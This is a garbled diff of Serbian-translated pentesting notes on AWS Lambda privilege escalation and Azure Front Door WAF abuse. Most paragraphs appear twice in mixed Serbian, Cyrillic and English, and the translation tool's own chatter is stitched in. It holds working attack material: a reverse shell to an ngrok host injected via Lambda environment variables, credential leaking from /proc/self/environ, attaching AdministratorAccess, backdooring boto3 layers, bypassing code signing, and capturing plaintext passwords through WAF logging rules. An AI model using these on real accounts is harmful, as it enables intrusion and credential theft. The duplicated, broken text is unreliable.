Kada je funkcija postavljena, korisnik može **pokrenuti njeno izvršavanje** i željene akcije pozivanjem Lambda funkcije putem AWS API-ja. Ovaj pristup omogućava korisniku da efektivno izvršava zadatke indirektno preko Lambda funkcije, radeći sa nivoom pristupa koji je dodeljen IAM roli povezanoj sa funkcijom.\\
Napadač može iskoristiti ovo da dobije **rev shell i ukrade token**:
Napadač bi ovo mogao zloupotrebiti da dobije **rev shell i ukrade token**:
```python:rev.py
import socket,subprocess,os,time
def lambda_handler(event, context):
@@ -46,8 +46,8 @@ aws lambda invoke --function-name my_function output.txt
# List roles
aws iam list-attached-user-policies --user-name <user-name>
```
Takođe možeš **abuse the lambda role permissions** iz iste lambda function.\
Ako bi lambda role imao dovoljno dozvola, mogao bi ga iskoristiti da sebi dodeliš administratorska prava:
Takođe biste mogli **abuse the lambda role permissions** iz same lambda function.\
Ako bi lambda role imala dovoljno permissions mogli biste je iskoristiti da sebi dodelite admin rights:
```python
import boto3
def lambda_handler(event, context):
@@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess'
)
return response
```
Takođe je moguće leak the lambda's role credentials bez potrebe za eksternom konekcijom. Ovo bi bilo korisno za **Network isolated Lambdas** koje se koriste za interne zadatke. Ako postoje nepoznate security groups koje filtriraju vaše reverse shells, this piece of code će vam omogućiti da direktno leak the credentials kao izlaz lambda.
Takođe je moguće leak the lambda's role credentials без потребе за спољном везом. Ово би било корисно за **Network isolated Lambdas** које се користе за интерне задатке. Ако постоје непознати security groups који филтрирају ваше reverse shells, овај део кода ће вам омогућити да директно leak the credentials као излаз lambda.
```python
def handler(event, context):
sessiontoken = open('/proc/self/environ', "r").read()
@@ -72,10 +72,10 @@ return {
aws lambda invoke --function-name <lambda_name> output.txt
cat output.txt
```
**Potencijalni uticaj:** Direktan privesc na proizvoljnu lambda service role koja je navedena.
**Potencijalni uticaj:** Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
> [!CAUTION]
> Imajte na umu da, iako može izgledati zanimljivo, **`lambda:InvokeAsync`** sam po sebi **ne omogućava** izvršavanje **`aws lambda invoke-async`** — takođe vam je potrebna dozvola `lambda:InvokeFunction`
> Imajte na umu da, iako to može izgledati interesantno, **`lambda:InvokeAsync`** **ne** dozvoljava samostalno izvršavanje `aws lambda invoke-async`, takođe vam je potrebna `lambda:InvokeFunction`
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission`
@@ -85,21 +85,20 @@ Kao u prethodnom scenariju, možete sebi dodeliti dozvolu **`lambda:InvokeFuncti
aws --profile "$NON_PRIV_PROFILE_USER" lambda add-permission --function-name my_function \
--action lambda:InvokeFunction --statement-id statement_privesc --principal "$NON_PRIV_PROFILE_USER_ARN"
```
**Potential Impact:** Direktan privesc na proizvoljnu lambda servisnu ulogu koja je navedena.
**Potential Impact:** Direktan privesc na proizvoljni lambda service role koji je naveden.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateEventSourceMapping`
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** dozvolama (i potencijalno `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalate privileges** čak i bez `lambda:InvokeFunction`.\
Mogu kreirati **Lambda function sa malicioznim kodom i dodeliti joj postojeću IAM rolu**.
Korisnici sa **`iam:PassRole`, `lambda:CreateFunction`, and `lambda:CreateEventSourceMapping`** dozvolama (a potencijalno i `dynamodb:PutItem` i `dynamodb:CreateTable`) mogu indirektno **escalate privileges** čak i bez `lambda:InvokeFunction`.\ Mogu kreirati **Lambda function sa zlonamernim kodom i dodeliti je postojećoj IAM role**.
Umesto da direktno pozivaju Lambda, korisnik postavi ili iskoristi postojeću DynamoDB tabelu, povezujući je sa Lambda kroz event source mapping. Ova postavka osigurava da se Lambda function automatski okine pri unosu nove stavke u tabelu, bilo akcijom korisnika ili nekog drugog procesa, čime se indirektno poziva Lambda function i izvršava kod sa dozvolama prosleđene IAM role.
Umesto da direktno pozove Lambda, korisnik postavlja ili koristi postojeću DynamoDB tabelu, povezujući je sa Lambda kroz event source mapping. Ova konfiguracija osigurava da se Lambda function **automatski pokrene pri unosu novog item-a** u tabelu, bilo akcijom korisnika ili nekog drugog procesa, čime se Lambda function indirektno poziva i izvršava kod sa dozvolama prosleđene IAM role.
```bash
aws lambda create-function --function-name my_function \
--runtime python3.8 --role <arn_of_lambda_role> \
--handler lambda_function.lambda_handler \
--zip-file fileb://rev.zip
```
Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi event source mapping** za Lambda funkciju. Međutim, ako DynamoDB nije u upotrebi, korisnik mora **kreirati novu tabelu** sa uključenim streamingom:
Ako je DynamoDB već aktivan u AWS okruženju, korisnik samo **treba da uspostavi mapiranje izvora događaja** za Lambda funkciju. Međutim, ako se DynamoDB ne koristi, korisnik mora **da kreira novu tabelu** sa uključenim streamingom:
```bash
aws dynamodb create-table --table-name my_table \
--attribute-definitions AttributeName=Test,AttributeType=S \
@@ -107,22 +106,22 @@ aws dynamodb create-table --table-name my_table \
--provisioned-throughput ReadCapacityUnits=5,WriteCapacityUnits=5 \
--stream-specification StreamEnabled=true,StreamViewType=NEW_AND_OLD_IMAGES
```
Sada je moguće **connect the Lambda function to the DynamoDB table** pomoću **creating an event source mapping**:
Sada je moguće **povezati Lambda function sa DynamoDB table** kreiranjem **event source mapping**:
```bash
aws lambda create-event-source-mapping --function-name my_function \
--event-source-arn <arn_of_dynamodb_table_stream> \
--enabled --starting-position LATEST
```
Kada je Lambda funkcija povezana sa DynamoDB stream-om, napadač može **indirektno pokrenuti Lambda aktiviranjem DynamoDB stream-a**. Ovo se može postići **umetanjem stavke** u DynamoDB tabelu:
Sa Lambda funkcijom povezanom na DynamoDB stream, napadač može **indirektno pokrenuti Lambda funkciju aktiviranjem DynamoDB streama**. To se može postići **ubacivanjem stavke** u DynamoDB tabelu:
```bash
aws dynamodb put-item --table-name my_table \
--item Test={S="Random string"}
```
**Mogući uticaj:** Direktan privesc na navedenu lambda servisnu ulogu.
**Potencijalni uticaj:** Direktan privesc na navedeni lambda service role.
### `lambda:AddPermission`
Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše resource based policies koje omogućavaju pristup resursu):
Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) bilo koje dozvole** (ovo generiše resource based policies za dodeljivanje pristupa resursu):
```bash
# Give yourself all permissions (you could specify granular such as lambda:InvokeFunction or lambda:UpdateFunctionCode)
aws lambda add-permission --function-name <func_name> --statement-id asdasd --action '*' --principal arn:<your user arn>
@@ -130,23 +129,23 @@ aws lambda add-permission --function-name <func_name> --statement-id asdasd --ac
# Invoke the function
aws lambda invoke --function-name <func_name> /tmp/outout
```
**Potencijalni uticaj:** Direktan privesc na ulogu lambda servisa koji se koristi dodeljivanjem dozvole za izmenu koda i njegovo pokretanje.
**Potencijalni uticaj:** Direktan privesc na lambda servisnu rolu korišćenjem dozvole koja omogućava izmenu koda i njegovo pokretanje.
### `lambda:AddLayerVersionPermission`
Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Može pristupiti layer-u i tražiti ranjivosti ili osetljive informacije
Napadač sa ovom dozvolom može **dodeliti sebi (ili drugima) dozvolu `lambda:GetLayerVersion`**. Može pristupiti sloju i tražiti ranjivosti ili osetljive informacije.
```bash
# Give everyone the permission lambda:GetLayerVersion
aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statement-id xaccount --version-number 1 --principal '*' --action lambda:GetLayerVersion
```
**Potential Impact:** Mogući pristup osetljivim informacijama.
**Mogući uticaj:** Potencijalni pristup osetljivim informacijama.
### `lambda:UpdateFunctionCode`
Korisnici koji imaju dozvolu **`lambda:UpdateFunctionCode`** mogu da **izmene kod postojeće Lambda funkcije koja je povezana sa IAM rolom.**\
Napadač može da **izmeni kod Lambda funkcije da bi exfiltrate the IAM credentials**.
Korisnici koji imaju **`lambda:UpdateFunctionCode`** dozvolu mogu **izmeniti kod postojeće Lambda function koja je povezana sa IAM role.**\
Napadač može **izmeniti kod Lambda function da eksfiltruje IAM credentials**.
Iako napadač možda nema direktnu mogućnost da pozove funkciju, ukoliko je Lambda funkcija već postojeća i operativna, verovatno će biti pokrenuta kroz postojeće tokove rada ili događaje, čime se indirektno omogućava izvršavanje izmenjenog koda.
Iako napadač možda nema direktnu mogućnost da pozove funkciju, ako je Lambda function već kreirana i operativna, verovatno će biti okinuta kroz postojeće tokove rada ili događaje, čime se indirektno omogućava izvršavanje izmenjenog koda.
```bash
# The zip should contain the lambda code (trick: Download the current one and add your code there)
aws lambda update-function-code --function-name target_function \
@@ -157,17 +156,17 @@ aws lambda invoke --function-name my_function output.txt
# If not check if it's exposed in any URL or via an API gateway you could access
```
**Potential Impact:** Direktan privesc na korišćenu Lambda service role.
**Potencijalni uticaj:** Direktan privesc na lambda service role koja se koristi.
### `lambda:UpdateFunctionConfiguration`
#### RCE via env variables
Sa ovim dozvolama moguće je dodati promenljive okruženja koje će naterati Lambda da izvrši proizvoljan kod. Na primer, u pythonu je moguće zloupotrebiti promenljive okruženja `PYTHONWARNING` i `BROWSER` da python proces izvrši proizvoljne komande:
Sa ovim dozvolama moguće je dodati env variables koje će naterati Lambda da izvrši proizvoljni kod. Na primer, u pythonu je moguće zloupotrebiti env variables `PYTHONWARNING` i `BROWSER` kako bi python proces izvršio proizvoljne komande:
```bash
aws --profile none-priv lambda update-function-configuration --function-name <func-name> --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}"
```
Za druge skriptne jezike postoje i druge env varijable koje možete koristiti. Za više informacija pogledajte podsekcije skriptnih jezika u:
Za druge skriptne jezike postoje druge env variables koje možete koristiti. Za više informacija pogledajte podsekcije skriptnih jezika u:
{{#ref}}
https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/index.html
@@ -175,9 +174,9 @@ https://book.hacktricks.wiki/en/macos-hardening/macos-security-and-privilege-esc
#### RCE via Lambda Layers
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava da uključite **code** u vašu lambda funkciju, ali **čuvajući ga odvojeno**, tako da kod funkcije može ostati mali i **više funkcija može deliti code**.
[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) omogućava da uključite **code** u vaš lamdba function ali **storing it separately**, tako da function code može ostati mali i **several functions can share code**.
Unutar lambda možete proveriti putanje odakle se python code učitava pomoću funkcije kao u nastavku:
Unutar lambda možete proveriti putanje sa kojih se učitava python code pomoću funkcije kao u nastavku:
```python
import json
import sys
@@ -198,24 +197,24 @@ Ovo su lokacije:
9. /opt/python/lib/python3.7/site-packages
10. /opt/python
Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4. pozicija).
Na primer, biblioteka boto3 se učitava iz `/var/runtime/boto3` (4th position).
#### Exploitation
#### Eksploatacija
Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da **dodate novi sloj** u lambda funkciju. Da biste izvršili proizvoljan kod, taj sloj mora da sadrži neku **biblioteku koju će lambda importovati.** Ako možete da pročitate kod lambda funkcije, to lako možete otkriti; takođe imajte u vidu da lambda možda **već koristi sloj** i da biste mogli **preuzeti** taj sloj i **dodati svoj kod** u njega.
Moguće je zloupotrebiti dozvolu `lambda:UpdateFunctionConfiguration` da biste **dodali novi layer** na lambda funkciju. Da biste izvršili proizvoljan kod ovaj layer mora sadržati neku **biblioteku koju će lambda importovati.** Ako možete pročitati kod lambda funkcije, lako biste ovo mogli pronaći; takođe imajte na umu da je moguće da lambda **već koristi layer** i da biste mogli **preuzeti** taj layer i **dodati svoj kod** u njega.
Na primer, pretpostavimo da lambda koristi biblioteku boto3 — to će kreirati lokalni sloj sa najnovijom verzijom biblioteke:
Na primer, pretpostavimo da lambda koristi biblioteku boto3, ovo će kreirati lokalni layer sa najnovijom verzijom biblioteke:
```bash
pip3 install -t ./lambda_layer boto3
```
Možete otvoriti `./lambda_layer/boto3/__init__.py` i **dodati backdoor u globalni kod** (na primer funkciju za exfiltrate credentials ili za dobijanje reverse shell).
Možete otvoriti `./lambda_layer/boto3/__init__.py` i **add the backdoor in the global code** (npr. funkciju za eksfiltraciju kredencijala ili dobijanje reverse shell-a).
Zatim, zip-ujte direktorijum `./lambda_layer` i **upload-ujte novi lambda layer** na sopstveni nalog (ili na nalog žrtve, ali možda nemate dozvole za to).\
Imajte na umu da treba da napravite python folder i smestite biblioteke u njega da biste zamenili /opt/python/boto3. Takođe, layer mora biti **kompatibilan sa python verzijom** koju koristi lambda i, ako ga upload-ujete na svoj nalog, mora biti u **isti region:**
Zatim, zip-ujte taj `./lambda_layer` direktorijum i **upload the new lambda layer** na svoj nalog (ili na nalog žrtve, ali možda nemate dozvole za to).\
Imajte na umu da treba da kreirate python folder i stavite biblioteke tamo da biste override-ovali /opt/python/boto3. Takođe, layer mora biti **compatible with the python version** koji koristi lambda i ako ga upload-ujete na svoj nalog, mora biti u **same region:**
```bash
aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6"
```
Sada omogućite da otpremljeni lambda layer bude **pristupačan bilo kojem nalogu**:
Sada učinite otpremljeni lambda layer **pristupačnim bilo kojem nalogu**:
```bash
aws lambda add-layer-version-permission --layer-name boto3 \
--version-number 1 --statement-id public \
@@ -228,41 +227,36 @@ aws lambda update-function-configuration \
--layers arn:aws:lambda:<region>:<attacker-account-id>:layer:boto3:1 \
--timeout 300 #5min for rev shells
```
Sledeći korak bi bio da ili **pozovemo funkciju** sami ako možemo, ili da sačekamo dok se **ne pozove** normalnim putem — što je bezbednija metoda.
The next step would be to either **invoke the function** ourselves if we can or to wait until i**t gets invoked** by normal means–which is the safer method.
A **prikriveniji način da se iskoristi ova ranjivost** može se naći u:
A **more stealth way to exploit this vulnerability** can be found in:
{{#ref}}
../../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md
{{#endref}}
**Potencijalni uticaj:** Direktan privesc na lambda service role koja se koristi.
**Potential Impact:** Direktan privesc na lambda service role koja se koristi.
### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl`
Možda sa tim permisijama možete da kreirate funkciju i izvršite je pozivom URL-a... ali nisam uspeo da nađem način da to testiram, pa mi javite ako vi uspete!
Možda sa tim permisijama možeš da kreiraš funkciju i izvršiš je pozivanjem URL-a... ali nisam našao način da to testiram, pa javi ako uspeš!
### Lambda MitM
Neke lambde će **primati osetljive informacije od korisnika u parametrima.** Ako dobijete RCE u jednoj od njih, možete exfiltrate informacije koje joj drugi korisnici šalju; pogledajte:
Neke lambda funkcije će primati osetljive informacije od korisnika u parametrima. Ako dobiješ RCE u jednoj od njih, možeš exfiltrate informacije koje drugi korisnici šalju toj funkciji — pogledaj u:
{{#ref}}
../../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md
{{#endref}}
## Reference
## References
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/)
{{#include ../../../../banners/hacktricks-training.md}}
### `lambda:DeleteFunctionCodeSigningConfig` or `lambda:PutFunctionCodeSigningConfig` + `lambda:UpdateFunctionCode` — Bypass Lambda Code Signing
Ako Lambda funkcija zahteva code signing, napadač koji može ili da ukloni Code Signing Config (CSC) ili da ga spusti na WARN može da deploy-uje unsigned code u funkciju. Ovo zaobilazi zaštite integriteta bez izmene IAM role funkcije ili triggera.
If a Lambda function enforces code signing, an attacker who can either remove the Code Signing Config (CSC) or downgrade it to Warn can deploy unsigned code to the function. This bypasses integrity protections without modifying the function's IAM role or triggers.
Permissions (one of):
- Path A: `lambda:DeleteFunctionCodeSigningConfig`, `lambda:UpdateFunctionCode`
@@ -282,7 +276,7 @@ return {"pwn": True, "env": list(os.environ)[:6]}
PY
zip backdoor.zip handler.py
```
Put A) Ukloni CSC, zatim ažuriraj kod:
Put A) Uklonite CSC, pa ažurirajte code:
```bash
aws lambda get-function-code-signing-config --function-name $TARGET_FN --region $REGION && HAS_CSC=1 || HAS_CSC=0
if [ "$HAS_CSC" -eq 1 ]; then
@@ -292,7 +286,7 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Put B) Smanjiti na Warn i ažurirati kod (ako brisanje nije dozvoljeno):
Putanja B) Smanjiti nivo na Warn i ažurirati kod (ako brisanje nije dozvoljeno):
```bash
CSC_ARN=$(aws lambda create-code-signing-config \
--description ht-warn-csc \
@@ -303,21 +297,15 @@ aws lambda update-function-code --function-name $TARGET_FN --zip-file fileb://ba
# If the handler name changed, also run:
aws lambda update-function-configuration --function-name $TARGET_FN --handler handler.lambda_handler --region $REGION
```
Potvrđujem — razumem uputstva. Pri prevođenju sadržaja iz src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc/README.md uradiću ovo:
- Prevešću relevantni engleski tekst na srpski jasno i sažeto.
- Neću prevoditi kod, nazive hacking tehnika, common hacking reči, cloud/SaaS nazive (npr. Workspace, aws, gcp...), reč "leak", pentesting, linkove, putanje, markdown ili HTML tagove.
- Neću menjati niti prevoditi specifične tagove/refs/paths kao u uputstvu ({#tabs}, {#ref}, {#include} itd.).
- Sačuvaću tačnu markdown/HTML sintaksu i strukturu fajla.
- Neću dodavati dodatni sadržaj koji nije deo prevedenog markdown/HTML fajla.
Potvrđujem — razumem smernice i postupit ću prema njima.
```bash
aws lambda invoke --function-name $TARGET_FN /tmp/out.json --region $REGION >/dev/null
cat /tmp/out.json
```
Potencijalni uticaj: Mogućnost postavljanja i izvršavanja proizvoljnog nepotpisanog koda u funkciji koja je trebalo da primenjuje signed deployments, što može dovesti do izvršavanja koda sa ovlašćenjima role funkcije.
Potencijalni uticaj: Mogućnost ubacivanja i pokretanja proizvoljnog unsigned code-a u funkciju koja je trebalo da primenjuje signed deployments, što potencijalno može dovesti do code execution sa dozvolama function role-a.
Čišćenje:
```bash
aws lambda delete-function-code-signing-config --function-name $TARGET_FN --region $REGION || true
```
{{#include ../../../../banners/hacktricks-training.md}}

71
src/pentesting-cloud/azure-security/az-services/az-front-door.md
View File

@@ -1,18 +1,81 @@
# Az - Deljenje fajlova
# Az - Front Door
{{#include ../../../banners/hacktricks-training.md}}
## RemoteAddr Bypass
Ovaj **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** objašnjava kako, kada konfigurišete neka mrežna ograničenja sa Azure Front Door, možete filtrirati na osnovu **`RemoteAddr`** ili **`SocketAddr`**. Glavna razlika je u tome što **`RemoteAddr`** zapravo koristi vrednost iz **`X-Forwarded-For`** HTTP header-a, što ga čini veoma lakim za zaobilaženje.
This **[blog post](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)** objašnjava kako, kada konfigurišete mrežna ograničenja sa Azure Front Door, možete filtrirati na osnovu **`RemoteAddr`** ili **`SocketAddr`**. Glavna razlika je što **`RemoteAddr`** zapravo koristi vrednost iz HTTP hedera **`X-Forwarded-For`**, što ga čini veoma jednostavnim za bypass.
Za zaobilaženje ovog pravila mogu se koristiti automatizovani alati koji **brute-force IP adrese** dok ne pronađu važeću.
Za zaobilaženje ovog pravila mogu se koristiti automatizovani alati koji **brute-force IP adrese** dok ne nađu validnu.
Ovo je pomenuto u [Microsoft dokumentaciji](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
Ovo je pomenuto u [Microsoft documentation](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-configure-ip-restriction).
## Credential Skimming via WAF Custom Rules + Log Analytics
Abuzirajte Azure Front Door (AFD) WAF Custom Rules u kombinaciji sa Log Analytics da biste zabeležili plaintext kredencijale (ili druge tajne) koji prolaze kroz WAF. Ovo nije CVE; to je zloupotreba legitimnih funkcionalnosti od strane bilo koga ko može da izmeni WAF policy i čita njegove logove.
Ključna ponašanja koja to omogućavaju:
- AFD WAF Custom Rules mogu da se poklapaju sa elementima zahteva uključujući header-e i POST parametre.
- Kada Custom Rule koristi akciju Log traffic only, evaluacija se nastavlja i saobraćaj prolazi (nema short-circuit), čuvajući tok normalnim/stealth.
- AFD zapisuje verbose dijagnostiku u Log Analytics pod Category FrontDoorWebApplicationFirewallLog. Podaci o poklapanju payload-a uključeni su u details_matches_s zajedno sa imenom pravila u ruleName_s.
### End-to-end workflow
1. Identify target POST parameters
- Pregledajte login formu i zabeležite imena parametara (npr. username, password).
2. Enable diagnostics to Log Analytics
- U vašem Front Door profile > Monitoring > Diagnostic settings, pošaljite logove u Log Analytics workspace.
- Najmanje, omogućite kategoriju: FrontDoorWebApplicationFirewallLog.
3. Create a malicious Custom Rule
- Front Door WAF Policy > Custom rules > New rule:
- Name: neupadljivo ime, npr. PasswordCapture
- Priority: nizak broj (npr. 5) da se evaluira rano
- Match: POST arguments username i password sa Operator = Any (match any value)
- Action: Log traffic only
4. Generate events
```bash
curl -i -X POST https://example.com/login \
-H "Content-Type: application/x-www-form-urlencoded" \
--data "username=alice&password=S3cret!"
```
5. Izvući kredencijale iz Log Analytics (KQL)
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog"
| where ruleName_s == "PasswordCapture"
| project TimeGenerated, ruleName_s, details_matches_s
| order by TimeGenerated desc
```
Niste priložili sadržaj za prevođenje. Pošaljite tekst iz fajla src/pentesting-cloud/azure-security/az-services/az-front-door.md (može i samo deo koji želite da prevedem), uključujući markdown/tags. Napomena: neću prevoditi kod, nazive servisa, linkove, putanje ni markdown/HTML tagove.
```kusto
AzureDiagnostics
| where Category == "FrontDoorWebApplicationFirewallLog" and ruleName_s == "PasswordCapture"
| extend m = parse_json(details_matches_s)
| mv-expand match = m.matches
| project TimeGenerated, ruleName_s, match.matchVariableName, match.matchVariableValue
| order by TimeGenerated desc
```
Uparene vrednosti se pojavljuju u details_matches_s i uključuju vrednosti u čistom tekstu koje su odgovarale vašem pravilu.
### Zašto Front Door WAF a ne Application Gateway WAF?
- Application Gateway WAF custom-rule logovi ne uključuju problematične POST/header vrednosti na isti način; AFD WAF diagnostics uključuju matched content u details, omogućavajući hvatanje kredencijala.
### Stealth i varijante
- Podesite Action na Log traffic only da izbegnete prekidanje zahteva i omogućite da ostala pravila nastave da se procenjuju normalno.
- Koristite nizak numerički Priority tako da se vaše pravilo za logovanje proceni pre bilo kojih kasnijih Block/Allow pravila.
- Možete ciljati bilo koja osetljiva imena/lokacije, ne samo POST params (npr. headers poput Authorization ili API tokeni u poljima tela zahteva).
### Preduslovi
- Postojeća Azure Front Door instanca.
- Dozvole za uređivanje AFD WAF policy i čitanje pridruženog Log Analytics workspace-a.
## Reference
- [https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass](https://trustedsec.com/blog/azures-front-door-waf-wtf-ip-restriction-bypass)
- [Skimming Credentials with Azure's Front Door WAF](https://trustedsec.com/blog/skimming-credentials-with-azures-front-door-waf)
- [Azure WAF on Front Door monitoring and logging](https://learn.microsoft.com/en-us/azure/web-application-firewall/afds/waf-front-door-monitor)
{{#include ../../../banners/hacktricks-training.md}}